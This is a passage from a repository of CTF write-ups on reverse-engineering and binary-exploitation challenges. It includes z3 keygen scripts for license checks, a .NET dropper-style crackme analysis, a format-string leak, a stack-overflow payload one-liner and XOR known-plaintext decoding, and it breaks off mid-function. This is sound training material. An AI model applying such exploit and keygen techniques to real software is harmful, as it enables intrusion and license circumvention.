sign < 0: 172 | digits.append('-') 173 | digits.reverse() 174 | return ''.join(digits) 175 | 176 | var_num = 4 177 | create_vars(var_num, size=32, prefix = 'k') 178 | solver() 179 | init_vars(globals()) 180 | set_ranges(var_num, rstart=27000, rend=809999, prefix = 'k') # 27000 is 1000 in 30 base, the least digit with 4 symbols 181 | # 809999 is TTTT in 30 base, the largest digit with 4 symbols 182 | 183 | add_eq( k0 ^ k1 ^ k2 ^ k3 == 0x1AE33 ) 184 | 185 | # for a bit of fun :D 186 | add_eq( k0 == 583574 ) # LICE in 30 base 187 | add_eq( k1 == 646635 ) # NSEF in 30 base 188 | add_eq( k2 == 672974 ) # ORME in 30 base 189 | 190 | i = 0 191 | start_time = time.time() 192 | while s.check() == sat: 193 | ans = prepare_founded_values(var_num, prefix = 'k') 194 | _str = '' 195 | for j in ans: 196 | _str += int2base(j) 197 | print _str 198 | iterate_all(var_num, prefix = 'k') 199 | i += 1 200 | print('--- %.2f seconds && %d answer(s) ---' % ((time.time() - start_time), i) ) 201 | ``` 202 | 203 | ``` 204 | PS C:\!CTF> python LicenseCheck_keygen.py 205 | licenseformeq7eg 206 | --- 0.01 seconds && 1 answer(s) --- 207 | ``` 208 | 209 | That's all :) 210 | -------------------------------------------------------------------------------- /EasyCTF_IV/MalDropper/README.md: -------------------------------------------------------------------------------- 1 | # MalDropper 2 | 3 | **Category:** Reverse Engineering 4 | **Points:** 160 5 | **Solves:** ??? 6 | **Description:** 7 | 8 | Mind looking at this malware dropper I found? 9 | 10 | [File](https://github.com/EasyCTF/easyctf-iv-problems/raw/master/maldropper/maldrop.exe) 11 | 12 | Note: this isn't actually malware, it just borrows obfuscation techniques from low quality malware. 13 | 14 | ## Write-up 15 | 16 | When we start this file we see 17 | 18 | ![screen_0](screen_0.png) 19 | 20 | For this .net binary we will use [dnSpy](https://github.com/0xd4d/dnSpy) 21 | 22 | File dynamically decrypt and run some program 23 | ``` 24 | private static void Main(string[] args) 25 | { 26 | Console.WriteLine("All the techniques implemented in this were found in malware samples I analyzed"); 27 | string location = Assembly.GetEntryAssembly().Location; 28 | byte[] arr = File.ReadAllBytes(location); 29 | string str = "[SPLIT"; 30 | string str2 = "ERATOR]"; 31 | byte[][] array = Program.SplitByteArray(arr, Encoding.ASCII.GetBytes(str + str2)); 32 | List list = new List(); 33 | for (int i = 0; i < array[2].Length; i++) 34 | { 35 | list.Add(array[2][i].ToString()); 36 | } 37 | Assembly.Load(array[1]).EntryPoint.Invoke(null, new object[] 38 | { 39 | list.ToArray() 40 | }); 41 | } 42 | ``` 43 | 44 | After some analysis I set breakpoint at end of main func 45 | 46 | ![screen_1](screen_1.png) 47 | 48 | and in "Modules" tab(Debug->Windows->Modules to enable) I seen 49 | 50 | ![screen_2](screen_2.png) 51 | 52 | I switch to payload and it dynamically decrypt and run some program again -_- 53 | ``` 54 | private static void Main(string[] args) 55 | { 56 | List list = new List(); 57 | for (int i = 0; i < args.Length; i++) 58 | { 59 | list.Add(byte.Parse(args[i])); 60 | } 61 | MemoryStream stream = new MemoryStream(list.ToArray()); 62 | GZipStream gzipStream = new GZipStream(stream, CompressionMode.Decompress); 63 | byte[] array = new byte[256]; 64 | List list2 = new List(); 65 | int num; 66 | do 67 | { 68 | num = gzipStream.Read(array, 0, 256); 69 | list2.AddRange(array.Take(num)); 70 | } 71 | while (num != 0); 72 | Assembly.Load(list2.ToArray()).EntryPoint.Invoke(null, null); 73 | } 74 | ``` 75 | 76 | Then I switch to flagbuilder(pretty name :D) 77 | ``` 78 | private static void Main() 79 | { 80 | Random random = new Random(239463551); 81 | StringBuilder stringBuilder = new StringBuilder(); 82 | stringBuilder.Append("easyctf{"); 83 | for (int i = 0; i < 6; i++) 84 | { 85 | stringBuilder.Append(random.Next()); 86 | } 87 | stringBuilder.Append("}"); 88 | string text = stringBuilder.ToString(); 89 | Console.WriteLine("Flag created!"); 90 | } 91 | ``` 92 | 93 | ![screen_3](screen_3.png) 94 | 95 | Flag is: **easyctf{12761716281964844769159211786140015599014519771561198738372}** 96 | -------------------------------------------------------------------------------- /EasyCTF_IV/MalDropper/screen_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/MalDropper/screen_0.png -------------------------------------------------------------------------------- /EasyCTF_IV/MalDropper/screen_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/MalDropper/screen_1.png -------------------------------------------------------------------------------- /EasyCTF_IV/MalDropper/screen_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/MalDropper/screen_2.png -------------------------------------------------------------------------------- /EasyCTF_IV/MalDropper/screen_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/MalDropper/screen_3.png -------------------------------------------------------------------------------- /EasyCTF_IV/README.md: -------------------------------------------------------------------------------- 1 | # EasyCTF IV writeups 2 | 3 | ## rev 4 | * [LicenseCheck - (#rev, #z3)](LicenseCheck) 5 | * [MalDropper - (#rev, #dotNet)](MalDropper) 6 | * [rop1 - (#rev, #pwn)](rop1) 7 | * [format - (#rev, #pwn)](format) 8 | * [ez_rev - (#rev)](ez_rev) 9 | -------------------------------------------------------------------------------- /EasyCTF_IV/ez_rev/README.md: -------------------------------------------------------------------------------- 1 | # ez_rev 2 | 3 | **Category:** Reverse Engineering 4 | **Points:** 140 5 | **Solves:** ??? 6 | **Description:** 7 | 8 | Take a look at [executable](executable). Objdump the executable and read some assembly! 9 | 10 | ## Write-up 11 | 12 | I'm a bad boy, and I don't use Objdump, only IDA :D 13 | 14 | So we have: 15 | ```C 16 | void main(int argc, const char **argv, const char **envp) { 17 | unsigned int flag[5]; 18 | const char *flag_a; 19 | 20 | signal(2, sigintHandler); 21 | target = *argv; 22 | if ( argc == 2 ) 23 | { 24 | flag_a = argv[1]; 25 | flag[0] = 1; 26 | flag[1] = 2; 27 | flag[2] = 3; 28 | flag[3] = 4; 29 | flag[4] = 5; 30 | flag[0] = flag_a[0] + 1; 31 | flag[1] = flag_a[1] + 2; 32 | flag[2] = flag_a[2] + 3; 33 | flag[3] = flag_a[3] + 4; 34 | flag[4] = flag_a[4] + 5; 35 | if ( flag[3] != 0x6F || flag[2] != 0x7D || flag[0] != flag[4] - 10 || flag[1] != 0x35 || flag[4] != flag[3] + 3 ) 36 | { 37 | sleep(2); 38 | remove(*argv); 39 | puts("successfully deleted!"); 40 | } 41 | else 42 | { 43 | printf("Now here is your flag: ", sigintHandler, argv); 44 | print_flag(flag); 45 | } 46 | } 47 | } 48 | ``` 49 | 50 | After simplify 51 | ``` 52 | (x3 + 4) == 0x6F 53 | (x2 + 3) == 0x7D 54 | (x0 + 1) == (x4 + 5) - 10 55 | (x1 + 2) == 0x35 56 | (x4 + 5) == (x3 + 4) + 3 ) 57 | ``` 58 | 59 | We can solve these simple equations in the mind, on a piece of paper or... that would add a little fan to this boring task - z3 script :D 60 | 61 | ```Python 62 | from z3_staff import * # https://github.com/KosBeg/z3_staff 63 | 64 | var_num = 5 65 | create_vars(var_num, type='int') 66 | solver() 67 | init_vars(globals()) 68 | set_ranges(var_num) 69 | 70 | add_eq( (x3 + 4) == 0x6F ) 71 | add_eq( (x2 + 3) == 0x7D ) 72 | add_eq( (x0 + 1) == (x4 + 5) - 10 ) 73 | add_eq( (x1 + 2) == 0x35 ) 74 | add_eq( (x4 + 5) == (x3 + 4) + 3 ) 75 | 76 | i = 0 77 | start_time = time.time() 78 | while s.check() == sat: 79 | prepare_founded_values(var_num) 80 | print prepare_key(var_num) 81 | iterate_all(var_num) 82 | i += 1 83 | print('--- %.2f seconds && %d answer(s) ---' % ((time.time() - start_time), i) ) 84 | ``` 85 | ``` 86 | PS C:\!CTF> python solver.py 87 | g3zkm 88 | --- 0.01 seconds && 1 answer(s) --- 89 | ``` 90 | 91 | and answer is `g3zkm` 92 | 93 | ![screen-0_ez_rev](screen_0_ez_rev.png) 94 | 95 | Flag is: **easyctf{10453125111114}** 96 | -------------------------------------------------------------------------------- /EasyCTF_IV/ez_rev/executable: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/ez_rev/executable -------------------------------------------------------------------------------- /EasyCTF_IV/ez_rev/screen_0_ez_rev.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/ez_rev/screen_0_ez_rev.png -------------------------------------------------------------------------------- /EasyCTF_IV/format/README.md: -------------------------------------------------------------------------------- 1 | # format 2 | 3 | **Category:** Binary Exploitation 4 | **Points:** 120 5 | **Solves:** 374 6 | **Description:** 7 | 8 | Go to `/problems/format` on the shell server and tell me what is in `flag.txt`. 9 | 10 | [File](format) 11 | 12 | ## Write-up 13 | 14 | ![screen_0_format](screen_0_format.png) 15 | ![screen_1_format](screen_1_format.png) 16 | 17 | By trial and error, we found that we need enter %p 7 times. 18 | ![screen_2_format](screen_2_format.png) 19 | ![screen_3_format](screen_3_format.png) 20 | 21 | Flag is: **easyctf{p3sky_f0rm4t_s7uff}** 22 | -------------------------------------------------------------------------------- /EasyCTF_IV/format/format: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/format/format -------------------------------------------------------------------------------- /EasyCTF_IV/format/screen_0_format.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/format/screen_0_format.png -------------------------------------------------------------------------------- /EasyCTF_IV/format/screen_1_format.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/format/screen_1_format.png -------------------------------------------------------------------------------- /EasyCTF_IV/format/screen_2_format.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/format/screen_2_format.png -------------------------------------------------------------------------------- /EasyCTF_IV/format/screen_3_format.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/format/screen_3_format.png -------------------------------------------------------------------------------- /EasyCTF_IV/rop1/README.md: -------------------------------------------------------------------------------- 1 | # rop1 2 | 3 | **Category:** Binary Exploitation 4 | **Points:** 120 5 | **Solves:** 374 6 | **Description:** 7 | 8 | Go to `/problems/rop1` on the shell server and tell me whats in flag.txt. 9 | 10 | [File](rop1) 11 | 12 | ## Write-up 13 | 14 | ![screen_0_rop1](screen_0_rop1.png) 15 | 16 | ![screen_1_rop1](screen_1_rop1.png) 17 | 18 | ![screen_2_rop1](screen_2_rop1.png) 19 | 20 | So we need just rewrtite return addres to get_flag(+8 for saved registers and -8 for text "EasyPWN\x00", I did it for beauty ;)) 21 | 22 | ``` 23 | python -c 'print "EasyPWN\x00" + "A"*(64+8-8) + "\x46\x06\x40\x00\x00\x00\x00\x00"' | ./rop1 24 | ``` 25 | 26 | ![screen_3_rop1](screen_3_rop1.png) 27 | 28 | Flag is: **easyctf{r0ps_and_h0ps}** 29 | -------------------------------------------------------------------------------- /EasyCTF_IV/rop1/rop1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/rop1/rop1 -------------------------------------------------------------------------------- /EasyCTF_IV/rop1/screen_0_rop1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/rop1/screen_0_rop1.png -------------------------------------------------------------------------------- /EasyCTF_IV/rop1/screen_1_rop1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/rop1/screen_1_rop1.png -------------------------------------------------------------------------------- /EasyCTF_IV/rop1/screen_2_rop1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/rop1/screen_2_rop1.png -------------------------------------------------------------------------------- /EasyCTF_IV/rop1/screen_3_rop1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/EasyCTF_IV/rop1/screen_3_rop1.png -------------------------------------------------------------------------------- /FireShell_CTF_2019/README.md: -------------------------------------------------------------------------------- 1 | # OtterCTF 2018 writeups 2 | 3 | ## reverse 4 | * [UnlockMe](UnlockMe) 5 | -------------------------------------------------------------------------------- /FireShell_CTF_2019/UnlockMe/UnlockMe.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/FireShell_CTF_2019/UnlockMe/UnlockMe.zip -------------------------------------------------------------------------------- /FireShell_CTF_2019/UnlockMe/die.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/FireShell_CTF_2019/UnlockMe/die.png -------------------------------------------------------------------------------- /FireShell_CTF_2019/UnlockMe/encoded.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/FireShell_CTF_2019/UnlockMe/encoded.bin -------------------------------------------------------------------------------- /FireShell_CTF_2019/UnlockMe/file_26100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/FireShell_CTF_2019/UnlockMe/file_26100.png -------------------------------------------------------------------------------- /FireShell_CTF_2019/UnlockMe/readme.md: -------------------------------------------------------------------------------- 1 | # UnlockMe 2 | 3 | **Category:** REVERSING 4 | **Points:** 487 5 | **Solves:** 7 6 | **Description:** 7 | 8 | Find the correct key and get the prize! 9 | 10 | [UnlockMe.zip](UnlockMe.zip) 11 | 12 | ## Write-up 13 | 14 | First we load the binary into DIE and seen that the binary is UPX-packed: 15 | 16 | ![die](die.png) 17 | 18 | So unpack it 19 | 20 | ``` 21 | PS D:\!CTF\FireShell_CTF_2019> upx -d UnlockMe.exe 22 | Ultimate Packer for eXecutables 23 | Copyright (C) 1996 - 2017 24 | UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017 25 | 26 | File size Ratio Format Name 27 | -------------------- ------ ----------- ----------- 28 | 2887168 <- 1244160 43.09% win32/pe UnlockMe.exe 29 | 30 | Unpacked 1 file. 31 | ``` 32 | 33 | After this we have clear Delphi binary. IDA automatically determine your main function: 34 | 35 | ```C 36 | .text:005F0AE0 _TFrmMain_Button1Click proc near ; DATA XREF: .text:005F093E↑o 37 | ``` 38 | 39 | ```C 40 | void TFrmMain_Button1Click(my_s *arg_1) 41 | { 42 | // .. 43 | 44 | TControl_GetText(arg_1->TFrmMain_K1_TEdit, &text_1_ptr); 45 | if ( text_1_ptr ) 46 | text_1_ptr = *(text_1_ptr - 4); 47 | if ( text_1_ptr == 5 ) // check len 1 48 | { 49 | TControl_GetText(arg_1->TFrmMain_K2_TEdit, &text_2_ptr); 50 | if ( text_2_ptr ) 51 | text_2_ptr = *(text_2_ptr - 4); 52 | if ( text_2_ptr == 5 ) // check len 2 53 | { 54 | TControl_GetText(arg_1->TFrmMain_K3_TEdit, &text_3_ptr); 55 | if ( text_3_ptr ) 56 | text_3_ptr = *(text_3_ptr - 4); 57 | if ( text_3_ptr == 5 ) // check len 3 58 | { 59 | TControl_GetText(arg_1->TFrmMain_K4_TEdit, &text_4_ptr); 60 | if ( text_4_ptr ) 61 | text_4_ptr = *(text_4_ptr - 4); 62 | if ( text_4_ptr == 5 ) // check len 4 63 | { 64 | TControl_GetText(arg_1->TFrmMain_K5_TEdit, &text_5_ptr); 65 | if ( text_5_ptr ) 66 | text_5_ptr = *(text_5_ptr - 4); 67 | if ( text_5_ptr == 5 ) // check len 5 68 | { 69 | TControl_GetText(arg_1->TFrmMain_K1_TEdit, &text_1_ptr_2); 70 | TControl_GetText(arg_1->TFrmMain_K2_TEdit, &text_2_ptr_2); 71 | TControl_GetText(arg_1->TFrmMain_K3_TEdit, &text_3_ptr_2); 72 | TControl_GetText(arg_1->TFrmMain_K4_TEdit, &text_4_ptr_2); 73 | TControl_GetText(arg_1->TFrmMain_K5_TEdit, &text_5_ptr_2); 74 | UStrCatN(&MY_PASS, 5, v6, text_5_ptr_2); 75 | TMemoryStream = TObject(TMemoryStream, 1, v7); 76 | TResourceStream = TControlScrollBar__bctr(TResourceStream, 1, hInstance, L"Out", 10); 77 | TPngImage = TCustomStringsValuesList(TPngImage, 1, v9); 78 | TStream_SetPosition(TResourceStream, v10, v11, 0, 0); 79 | TStream_SetPosition(TMemoryStream, v12, v13, 0, 0); 80 | v14 = TResourceStream->TResourceStream->anonymous_0(); 81 | if ( v14 - 1 >= 0 ) 82 | { 83 | LEN = v14; 84 | COU = 0; 85 | do 86 | { 87 | TResourceStream->TResourceStream->Read(TResourceStream, &v37 + 3, 1); 88 | pass_len = *(MY_PASS - 1); 89 | HIBYTE(v37) ^= MY_PASS[COU % pass_len]; 90 | TMemoryStream->TMemoryStream->Write(TMemoryStream, &v37 + 3, 1); 91 | ++COU; 92 | --LEN; 93 | } 94 | while ( LEN ); 95 | } 96 | TStream_SetPosition(TMemoryStream, v15, v16, 0, 0); 97 | (TPngImage->TPngImage->LoadFromStream)(TPngImage, TMemoryStream); 98 | (*(**(arg_1->TPicture + 456) + 8))(*(arg_1->TPicture + 456), TPngImage);// TPicture.Assign 99 | show_hide_forms(arg_1); 100 | System::TObject::Free(TMemoryStream); 101 | System::TObject::Free(TResourceStream); 102 | } 103 | else 104 | // FAIL 105 | } 106 | else 107 | // FAIL 108 | } 109 | else 110 | // FAIL 111 | } 112 | else 113 | // FAIL 114 | } 115 | else 116 | // FAIL 117 | UStrArrayClr(&text_5_ptr_2, 10); 118 | UStrClr(&MY_PASS); 119 | } 120 | ``` 121 | 122 | Messy code, but if in brief: we get 5 keys with len 5, then concatenate in one string-key `MY_PASS`, then xor-decode resource `OUT` with this key: 123 | 124 | ```C 125 | v37 ^= MY_PASS[COU % pass_len]; 126 | ``` 127 | 128 | And try to show decoded file as PNG image: 129 | 130 | ```C 131 | (TPngImage->TPngImage->LoadFromStream)(TPngImage, TMemoryStream); 132 | TPicture.Assign(*(arg_1->TPicture), TPngImage); 133 | show_hide_forms(arg_1); 134 | ``` 135 | 136 | How to decode [encoded binary?](encoded.bin). We'll use known plaintext attack. I'm wrote small rust script to brute image height and width(all other bytes are known to us): 137 | 138 | ```Rust 139 | fn main() { 140 | let mut keys = vec![]; 141 | 142 | for height in 0..=500 { 143 | for width in 0..=500 { 144 | // first 25 bytes of PNG header 145 | let known = [ 146 | 0x89, 147 | 0x50, 148 | 0x4E, 149 | 0x47, 150 | 0x0D, 151 | 0x0A, 152 | 0x1A, 153 | 0x0A, 154 | 0x00, 155 | 0x00, 156 | 0x00, 157 | 0x0D, 158 | 0x49, 159 | 0x48, 160 | 0x44, 161 | 0x52, 162 | // height as big endian dword 163 | 0x00, 164 | 0x00, 165 | (height >> 8) as u8, 166 | (height & 0xFF) as u8, 167 | // width as big endian dword 168 | 0x00, 169 | 0x00, 170 | (width >> 8) as u8, 171 | (width & 0xFF) as u8, 172 | // 173 | 0x08_u8, 174 | ]; 175 | 176 | // first 25 crypted bytes 177 | let crypted = [ 178 | 0xCA, 0x04, 0x0D, 0x11, 0x5A, 0x53, 0x52, 0x53, 0x50, 0x39, 0x46, 0x3F, 0x11, 0x7C, 179 | 0x1D, 0x6A, 0x4D, 0x51, 0x43, 0x1C, 0x36, 0x56, 0x4B, 0x70, 0x4C_u8, 180 | ]; 181 | 182 | let mut key = vec![]; 183 | 184 | // try to decrypt 185 | for i in 0..known.len() { 186 | key.push(known[i] ^ crypted[i]); 187 | } 188 | 189 | // and check out key for all printable chars 190 | let mut fail = false; 191 | for i in &key { 192 | if *i < 0x20 || *i > 0x7E { 193 | fail = true; 194 | break; 195 | } 196 | } 197 | 198 | if fail { 199 | continue; 200 | } 201 | 202 | // we found printable key! 203 | let mut out = String::new(); 204 | for i in 0..key.len() { 205 | out.push(key[i] as char); 206 | } 207 | 208 | keys.push(out); 209 | } 210 | } 211 | 212 | println!("{:?}", keys); 213 | } 214 | ``` 215 | 216 | And python script to decode binary and check image: 217 | 218 | ```python 219 | from PIL import Image 220 | 221 | img_cou = 0 222 | 223 | keys = # output from rust script 224 | 225 | for key in keys: 226 | c = open('encoded.bin', 'rb').read() 227 | 228 | o = "" 229 | for i in range(len(c)): 230 | o += chr(ord(c[i]) ^ ord(key[i % len(key)])) 231 | 232 | open('decoded/file_%d.png' % img_cou, 'wb').write(o) 233 | img_cou += 1 234 | 235 | fail_cou = 0 236 | for i in range(img_cou): 237 | try: 238 | im = Image.open('decoded/file_%d.png' % i) 239 | print "NORNAL IMAGE:", i 240 | except IOError: 241 | fail_cou += 1 242 | 243 | print fail_cou, len(keys) 244 | ``` 245 | 246 | Run script: 247 | 248 | ``` 249 | PS D:\!CTF\FireShell_CTF_2019> python decode_and_check.py 250 | NORNAL IMAGE: 26100 251 | 36099 36100 252 | ``` 253 | 254 | Open file_26100.png :D 255 | 256 | ![file_26100](file_26100.png) 257 | 258 | Flag is: **F#{D3lph1_D3lph1_D3lph1}** 259 | -------------------------------------------------------------------------------- /OtterCTF_2018/CallMeRick/CallMeRick.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/OtterCTF_2018/CallMeRick/CallMeRick.exe -------------------------------------------------------------------------------- /OtterCTF_2018/CallMeRick/readme.md: -------------------------------------------------------------------------------- 1 | # Call Me Rick 2 | 3 | **Category:** Reverse Engineering 4 | **Points:** 450 5 | **Solves:** 7 6 | **Description:** 7 | 8 | Rick created this twisted program that will only work if you enter the right two numbers. 9 | 10 | Remember to return from the function and use nops to fill in any gaps. 11 | 12 | EDIT: There were multiple possible answers so I changed the flag format. 13 | 14 | flag{uppercase hex values of the 5 bytes necessary to win the flag} 15 | 16 | [CallMeRick.exe](CallMeRick.exe) 17 | 18 | ## Write-up 19 | 20 | We have c++ 32bit windows binary built in debug mode, load it in the disassembler. 21 | 22 | In `main` function we have a pretty easy code [(short write-up how to get so clear code)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446560726) and [(fast way to locate the main function when it isn't recognized by IDA)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446636801): 23 | ```C 24 | int main() 25 | { 26 | int num; 27 | LPVOID lpAddress; 28 | DWORD flOldProtect; 29 | int savedregs; 30 | 31 | flOldProtect = 0; 32 | lpAddress = &write_here; 33 | VirtualProtect(&write_here, 8u, 0x40u, &flOldProtect); 34 | scanf("%d %d", lpAddress, lpAddress + 4); // write 2 numbers to `write_here` location 35 | num = 1; 36 | check_stack(&savedregs, &tmp_pptr); 37 | return 0; 38 | } 39 | ``` 40 | 41 | `write_here` loc is part of main function 42 | ```C 43 | .text:0045D22B 51 push ecx 44 | .text:0045D22C 68 68 DE 50 00 push offset format ; "%d %d" 45 | .text:0045D231 E8 1E C6 FF FF call scanf 46 | .text:0045D231 47 | .text:0045D236 83 C4 0C add esp, 0Ch 48 | .text:0045D236 49 | .text:0045D239 50 | .text:0045D239 write_here: ; DATA XREF: main+2F↑o 51 | .text:0045D239 C7 45 DC 06 00 00 00 mov [ebp+num], 6 52 | .text:0045D240 BB C3 08 00 00 mov ebx, 8C3h 53 | ``` 54 | 55 | So we need to enter 8 bytes shellcode, but what we can do with it? 56 | 57 | Then I found `Congratulations` in strings, and by xrefs get to function `sub_45D0B0` 58 | 59 | ```C 60 | .text:0045D0D0 6A 00 push 0 ; uType 61 | .text:0045D0D2 68 50 DE 50 00 push offset Caption ; "Win" 62 | .text:0045D0D7 68 54 DE 50 00 push offset Text ; "Congratulations" 63 | .text:0045D0DC 6A 00 push 0 ; hWnd 64 | .text:0045D0DE FF 15 BC 71 53 00 call ds:__imp_MessageBoxA 65 | ``` 66 | 67 | Ok, we need to call `sub_45D0B0` function in the way that program doesn't crash. 68 | 69 | We can do something like this 70 | 71 | ```C 72 | E8 72 FE FF FF call sub_45D0B0 73 | 90 nop ; use nops to fill in any gaps 74 | 90 nop ; use nops to fill in any gaps 75 | BB db BBh ; do not change the byte, so as it didn't crash 76 | ``` 77 | 78 | We need to enter 2 numbers: 4294865640(0xFFFE72E8) and 3146813695(0xBB9090FF) 79 | 80 | Sum of this num is hex(0xFFFE72E8+0xBB9090FF) = 1BB8F03E7 81 | 82 | Flag is: **CTF{1BB8F03E7}** 83 | -------------------------------------------------------------------------------- /OtterCTF_2018/HopityHop/HopityHop.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/OtterCTF_2018/HopityHop/HopityHop.exe -------------------------------------------------------------------------------- /OtterCTF_2018/HopityHop/readme.md: -------------------------------------------------------------------------------- 1 | # Hopity Hop 2 | 3 | **Category:** Reverse Engineering 4 | **Points:** 275 5 | **Solves:** 24 6 | **Description:** 7 | 8 | Morty wrote his own RE challenge, but it doesn't work correctly. When Morty asked Rick what was the problem he took a quick look and only said: "Aina ya data imesainiwa" it probably has some meaning in BirdMan's tongue or something... 9 | 10 | [HopityHop.exe](HopityHop.exe) 11 | 12 | ## Write-up 13 | 14 | We have small c++ 64bit windows binary, load it in the disassembler. 15 | 16 | In `main` function we have a pretty easy code [(short write-up how to get so clear code)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446560726) and [(fast way to locate the main function when it isn't recognized by IDA)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446636801): 17 | ```C 18 | int main() 19 | { 20 | int i; 21 | char next_skip; 22 | int skip; 23 | char skip_table[20]; 24 | char buff[1732]; 25 | 26 | i = 0; 27 | memcpy(buff, "some big string", 1732); 28 | _mm_storeu_si128(skip_table, _mm_load_si128(&g_skip_table)); 29 | *&skip_table[16] = 0x2697; 30 | next_skip = 0x94u; 31 | skip_table[18] = 0; 32 | do 33 | { 34 | printf("%c", buff[i]); // print char from buff with i index 35 | skip = next_skip; 36 | next_skip = *++skip_table; 37 | i += skip + 1; // index 38 | } while (*skip_table); 39 | return 0; 40 | } 41 | ``` 42 | 43 | Run this binary and we'll have some strange string with non-printable chars: 44 | ``` 45 | PS C:\Users\PC\Desktop> .\HopityHop.exe 46 | foWznvJXRMZOFtvKe 47 | ``` 48 | 49 | Then carefully read the description and found strange words: "Aina ya data imesainiwa". 50 | 51 | Goto google.translate and we'll have: "Data type is signed"(from Swahili). 52 | 53 | But in binary, we have two movsx(sign extend) and one movzx(zero extend). 54 | 55 | So patch this binary at 0x1400010D4 56 | 57 | ```c 58 | .text:00000001400010C0 print_loop: ; CODE XREF: main+76↓j 59 | .text:00000001400010C0 movsxd rax, ebx 60 | .text:00000001400010C3 lea rcx, Format ; "%c" 61 | .text:00000001400010CA movsx edx, [rsp+rax+718h+buff] ; load byte and print 62 | .text:00000001400010CF call printf 63 | .text:00000001400010CF 64 | .text:00000001400010D4 movsx eax, sil ; patch `movsx` here to `movzx` 65 | .text:00000001400010D8 lea rdi, [rdi+1] 66 | .text:00000001400010DC movzx esi, byte ptr [rdi] 67 | .text:00000001400010DF inc ebx 68 | .text:00000001400010E1 add ebx, eax ; increment skip-counter 69 | .text:00000001400010E3 test sil, sil 70 | .text:00000001400010E6 jnz short print_loop 71 | ``` 72 | 73 | Re-run it and we'll have 74 | ``` 75 | PS C:\Users\PC\Desktop> .\HopityHop.exe 76 | flag{H0p_N0p_D0p3} 77 | ``` 78 | 79 | Flag is: **flag{H0p_N0p_D0p3}** 80 | -------------------------------------------------------------------------------- /OtterCTF_2018/ListenCarefully/ListenCarefully.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/OtterCTF_2018/ListenCarefully/ListenCarefully.exe -------------------------------------------------------------------------------- /OtterCTF_2018/ListenCarefully/readme.md: -------------------------------------------------------------------------------- 1 | # Listen Carefully 2 | 3 | **Category:** Reverse Engineering 4 | **Points:** 450 5 | **Solves:** 8 6 | **Description:** 7 | 8 | Plug in your loudest speakers and enjoy the ride 9 | 10 | [ListenCarefully.exe](ListenCarefully.exe) 11 | 12 | ## Write-up 13 | 14 | As for me - this is the most interesting and complex RE-task on this CTF. 15 | 16 | Ok, let's start! 17 | 18 | We have big for CTF(13 MB) c++ 32bit windows binary, load it in the disassembler. 19 | 20 | In `main` function we have next code [(short write-up how to get so clear code)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446560726) and [(fast way to locate the main function when it isn't recognized by IDA)](https://github.com/KosBeg/ctf-writeups/issues/1#issuecomment-446636801): 21 | ```C 22 | int __cdecl main(int argc, const char **argv, const char **envp) 23 | { 24 | HRSRC resz; // eax 25 | HGLOBAL WAWE; // eax MAPDST 26 | char *final_flag; // eax MAPDST 27 | int 